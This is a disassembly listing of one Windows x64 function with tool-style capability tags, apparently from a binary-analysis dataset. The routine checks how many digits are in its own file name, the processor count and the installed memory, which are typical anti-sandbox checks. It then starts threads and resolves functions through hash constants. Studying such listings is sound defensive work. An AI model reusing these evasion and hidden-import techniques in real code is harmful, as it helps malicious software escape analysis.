Function at 0x140001260
Capabilities:
Create thread
Get memory capacity
Get system information on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x3f0]
sub rsp, 0x4f0
mov rax, qword [0x140085700]
xor rax, rsp
mov qword [rbp + 0x3e0], rax
mov r15, rcx
xor r12d, r12d
mov edi, r12d
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rsp + 0x50], 0x40
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
mov r8d, 0x30c
lea rdx, [rbp + 0xd0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1400012f9
lea rcx, str.__getmodulefilenamea_failed_n
call fcn.140001010
lea rcx, [rbp + 0xd0]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0x104
jge 0x140001330
lea rcx, [rbp + 0xd0]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov rdx, rax
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov r14d, r12d
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x140001376
lea rsi, [rbp - 0x40]
mov ebx, edi
movsx ecx, byte [rsi]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isdigit]
inc edi
test eax, eax
cmove edi, ebx
inc r14d
lea rsi, [rsi + 1]
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cmp r14d, eax
jl 0x140001345
cmp edi, 3
ja 0x140001532
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp - 0x50], 2
jb 0x140001538
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x1400013af
cmp dword [rsp + 0x58], 0x80000000
jb 0x14000152c
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, reloc.WS2_32.dll_recv
call fcn.140067870
mov qword [rax], r15
lea rcx, [0x140001540]
mov qword [rax + 8], rcx
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x140009a20]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14000151b
cmp dword [r15 + 0x20], 0
jne 0x140001514
xorps xmm0, xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movups xmmword [r15 + 0x18], xmm1
mov ecx, reloc.WS2_32.dll_recv
call fcn.140067870
mov qword [rax], r15
lea rcx, [0x140001720]
mov qword [rax + 8], rcx
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x140009a20]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140001503
cmp dword [r15 + 0x30], 0
jne 0x1400014fc
movaps xmm1, xmmword [rsp + 0x30]
movups xmmword [r15 + 0x28], xmm1
mov edx, 0x46c268a1
call fcn.140002180
mov qword [rsp + 0x40], rax
test rax, rax
je 0x1400014cf
mov r8d, 0xe46e99c5
lea rdx, [rsp + 0x40]
call fcn.1400020a0
mov qword [r15], rax
mov r8d, 0x6130756d
lea rdx, [rsp + 0x40]
call fcn.1400020a0
mov qword [r15 + 8], rax
mov r8d, 0xf570e119
lea rdx, [rsp + 0x40]
call fcn.1400020a0
mov qword [r15 + 0x10], rax
mov al, 1
mov rcx, qword [rbp + 0x3e0]
xor rcx, rsp
call fcn.140067730
lea r11, [rsp + 0x4f0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov dword [rsp + 0x38], r12d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov dword [rsp + 0x38], r12d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call fcn.140001250
int3
call fcn.140001250
int3
call fcn.140001250
int3